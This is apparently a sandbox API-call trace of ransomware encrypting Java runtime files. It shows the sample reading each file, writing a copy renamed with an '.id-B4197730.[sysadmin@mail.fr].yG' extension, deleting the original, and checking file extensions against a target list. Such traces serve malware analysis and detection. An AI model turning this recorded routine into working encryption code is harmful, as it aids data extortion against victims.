	[0147.281] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0147.282] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=4464) returned 1
	[0147.282] CloseHandle (hObject=0x514) returned 1
	[0147.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 0x20
	[0147.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0147.283] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0147.283] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.283] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.283] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0147.284] GetLastError () returned 0x0
	[0147.284] ReadFile (in: hFile=0x514, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x1170, lpOverlapped=0x0) returned 1
	[0147.324] WriteFile (in: hFile=0x52c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x1180, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x1180, lpOverlapped=0x0) returned 1
	[0147.326] ReadFile (in: hFile=0x514, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0147.326] WriteFile (in: hFile=0x52c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xf0, lpOverlapped=0x0) returned 1
	[0147.326] SetEndOfFile (hFile=0x52c) returned 1
	[0147.326] CloseHandle (hObject=0x52c) returned 1
	[0147.327] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.327] SetEndOfFile (hFile=0x514) returned 1
	[0147.331] CloseHandle (hObject=0x514) returned 1
	[0147.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0147.332] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 1
	[0147.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0147.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0147.333] lstrlenW (lpString=".doc") returned 4
	[0147.333] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0147.334] lstrlenW (lpString=".docx") returned 5
	[0147.334] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0147.334] lstrlenW (lpString=".pdf") returned 4
	[0147.334] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0147.335] lstrlenW (lpString=".xls") returned 4
	[0147.335] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0147.335] lstrlenW (lpString=".xlsx") returned 5
	[0147.336] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0147.336] lstrlenW (lpString=".ppt") returned 4
	[0147.339] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0147.339] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0147.339] lstrlenW (lpString=".zip") returned 4
	[0147.340] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0147.340] lstrlenW (lpString=".rar") returned 4
	[0147.340] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0147.341] lstrlenW (lpString=".bz2") returned 4
	[0147.341] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0147.342] lstrlenW (lpString=".7z") returned 3
	[0147.342] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0147.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0147.342] lstrlenW (lpString=".dbf") returned 4
	[0147.342] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0147.343] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0147.343] lstrlenW (lpString=".1cd") returned 4
	[0147.343] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0147.343] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0147.344] lstrlenW (lpString=".jpg") returned 4
	[0147.344] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0147.344] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0147.344] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0147.345] lstrlenW (lpString=".doc") returned 4
	[0147.345] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0147.346] lstrlenW (lpString=".docx") returned 5
	[0147.346] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0147.346] lstrlenW (lpString=".pdf") returned 4
	[0147.346] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0147.346] lstrlenW (lpString=".xls") returned 4
	[0147.346] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0147.346] lstrlenW (lpString=".xlsx") returned 5
	[0147.346] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0147.346] lstrlenW (lpString=".ppt") returned 4
	[0147.346] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0147.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0147.347] lstrlenW (lpString=".zip") returned 4
	[0147.347] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0147.347] lstrlenW (lpString=".rar") returned 4
	[0147.347] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0147.347] lstrlenW (lpString=".bz2") returned 4
	[0147.347] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0147.347] lstrlenW (lpString=".7z") returned 3
	[0147.347] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0147.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0147.347] lstrlenW (lpString=".dbf") returned 4
	[0147.347] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0147.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0147.348] lstrlenW (lpString=".1cd") returned 4
	[0147.348] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0147.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0147.348] lstrlenW (lpString=".jpg") returned 4
	[0147.348] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0147.349] lstrcmpiW (lpString1=".properties", lpString2=".yG") returned -1
	[0147.350] lstrlenW (lpString="psfontj2d.properties") returned 20
	[0147.350] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0147.351] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=10393) returned 1
	[0147.351] CloseHandle (hObject=0x514) returned 1
	[0147.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 0x20
	[0147.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0147.352] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0147.352] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.352] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.352] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0147.354] GetLastError () returned 0x0
	[0147.354] ReadFile (in: hFile=0x514, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2899, lpOverlapped=0x0) returned 1
	[0147.389] WriteFile (in: hFile=0x52c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x28a0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x28a0, lpOverlapped=0x0) returned 1
	[0147.757] ReadFile (in: hFile=0x514, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0147.757] WriteFile (in: hFile=0x52c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xfc, lpOverlapped=0x0) returned 1
	[0147.757] SetEndOfFile (hFile=0x52c) returned 1
	[0147.757] CloseHandle (hObject=0x52c) returned 1
	[0147.757] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.758] SetEndOfFile (hFile=0x514) returned 1
	[0147.760] CloseHandle (hObject=0x514) returned 1
	[0147.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0148.053] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 1
	[0148.556] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0148.556] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0148.556] lstrlenW (lpString=".doc") returned 4
	[0148.556] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0148.556] lstrlenW (lpString=".docx") returned 5
	[0148.557] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0148.557] lstrlenW (lpString=".pdf") returned 4
	[0148.557] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0148.557] lstrlenW (lpString=".xls") returned 4
	[0148.557] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0148.557] lstrlenW (lpString=".xlsx") returned 5
	[0148.557] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0148.557] lstrlenW (lpString=".ppt") returned 4
	[0148.557] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0148.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0148.557] lstrlenW (lpString=".zip") returned 4
	[0148.557] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0148.557] lstrlenW (lpString=".rar") returned 4
	[0148.557] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0148.557] lstrlenW (lpString=".bz2") returned 4
	[0148.557] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0148.557] lstrlenW (lpString=".7z") returned 3
	[0148.557] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0148.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0148.557] lstrlenW (lpString=".dbf") returned 4
	[0148.557] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0148.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0148.557] lstrlenW (lpString=".1cd") returned 4
	[0148.557] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0148.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0148.557] lstrlenW (lpString=".jpg") returned 4
	[0148.557] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0148.558] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0148.558] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0148.558] lstrlenW (lpString=".doc") returned 4
	[0148.558] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0148.558] lstrlenW (lpString=".docx") returned 5
	[0148.558] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0148.558] lstrlenW (lpString=".pdf") returned 4
	[0148.558] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0148.558] lstrlenW (lpString=".xls") returned 4
	[0148.558] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0148.558] lstrlenW (lpString=".xlsx") returned 5
	[0148.558] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0148.558] lstrlenW (lpString=".ppt") returned 4
	[0148.558] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0148.558] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0148.558] lstrlenW (lpString=".zip") returned 4
	[0148.558] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0148.558] lstrlenW (lpString=".rar") returned 4
	[0148.558] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0148.558] lstrlenW (lpString=".bz2") returned 4
	[0148.558] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0148.558] lstrlenW (lpString=".7z") returned 3
	[0148.558] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0148.558] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0148.558] lstrlenW (lpString=".dbf") returned 4
	[0148.558] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0148.558] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0148.559] lstrlenW (lpString=".1cd") returned 4
	[0148.559] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0148.559] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0148.559] lstrlenW (lpString=".jpg") returned 4
	[0148.559] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0148.559] lstrcmpiW (lpString1=".0_144\\lib\\security\\blacklist", lpString2=".yG") returned -1
	[0148.559] lstrlenW (lpString="blacklist") returned 9
	[0148.559] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0148.678] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=4054) returned 1
	[0148.678] CloseHandle (hObject=0x540) returned 1
	[0148.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 0x20
	[0148.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0148.785] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0148.786] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.786] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.786] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0148.788] GetLastError () returned 0x0
	[0148.788] ReadFile (in: hFile=0x42c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0xfd6, lpOverlapped=0x0) returned 1
	[0148.803] WriteFile (in: hFile=0x540, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xfe0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xfe0, lpOverlapped=0x0) returned 1
	[0148.805] ReadFile (in: hFile=0x42c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0148.805] WriteFile (in: hFile=0x540, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0148.805] SetEndOfFile (hFile=0x540) returned 1
	[0148.805] CloseHandle (hObject=0x540) returned 1
	[0148.806] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.806] SetEndOfFile (hFile=0x42c) returned 1
	[0148.809] CloseHandle (hObject=0x42c) returned 1
	[0148.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0148.810] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 1
	[0148.811] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0148.811] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0148.811] lstrlenW (lpString=".doc") returned 4
	[0148.811] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1
	[0148.811] lstrlenW (lpString=".docx") returned 5
	[0148.811] lstrcmpiW (lpString1=".docx", lpString2="klist") returned -1
	[0148.811] lstrlenW (lpString=".pdf") returned 4
	[0148.811] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1
	[0148.811] lstrlenW (lpString=".xls") returned 4
	[0148.811] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1
	[0148.812] lstrlenW (lpString=".xlsx") returned 5
	[0148.812] lstrcmpiW (lpString1=".xlsx", lpString2="klist") returned -1
	[0148.812] lstrlenW (lpString=".ppt") returned 4
	[0148.812] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1
	[0148.812] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0148.812] lstrlenW (lpString=".zip") returned 4
	[0148.812] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1
	[0148.813] lstrlenW (lpString=".rar") returned 4
	[0148.813] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1
	[0148.813] lstrlenW (lpString=".bz2") returned 4
	[0148.813] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1
	[0148.813] lstrlenW (lpString=".7z") returned 3
	[0148.813] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1
	[0148.813] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0148.813] lstrlenW (lpString=".dbf") returned 4
	[0148.813] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1
	[0148.813] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0148.813] lstrlenW (lpString=".1cd") returned 4
	[0148.813] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1
	[0148.813] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0148.813] lstrlenW (lpString=".jpg") returned 4
	[0148.813] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1
	[0148.813] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0148.813] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0148.813] lstrlenW (lpString=".doc") returned 4
	[0148.813] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1
	[0148.813] lstrlenW (lpString=".docx") returned 5
	[0148.813] lstrcmpiW (lpString1=".docx", lpString2="klist") returned -1
	[0148.813] lstrlenW (lpString=".pdf") returned 4
	[0148.813] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1
	[0148.813] lstrlenW (lpString=".xls") returned 4
	[0148.813] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1
	[0148.813] lstrlenW (lpString=".xlsx") returned 5
	[0148.814] lstrcmpiW (lpString1=".xlsx", lpString2="klist") returned -1
	[0148.814] lstrlenW (lpString=".ppt") returned 4
	[0148.814] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1
	[0148.814] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0148.814] lstrlenW (lpString=".zip") returned 4
	[0148.814] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1
	[0148.814] lstrlenW (lpString=".rar") returned 4
	[0148.814] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1
	[0148.814] lstrlenW (lpString=".bz2") returned 4
	[0148.814] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1
	[0148.814] lstrlenW (lpString=".7z") returned 3
	[0148.814] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1
	[0148.814] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0148.814] lstrlenW (lpString=".dbf") returned 4
	[0148.814] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1
	[0148.814] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0148.814] lstrlenW (lpString=".1cd") returned 4
	[0148.814] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1
	[0148.814] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0148.814] lstrlenW (lpString=".jpg") returned 4
	[0148.814] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1
	[0148.814] lstrcmpiW (lpString1=".policy", lpString2=".yG") returned -1
	[0148.815] lstrlenW (lpString="java.policy") returned 11
	[0148.815] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0148.817] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=2466) returned 1
	[0148.817] CloseHandle (hObject=0x42c) returned 1
	[0148.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 0x20
	[0148.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0148.818] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0148.819] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.819] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
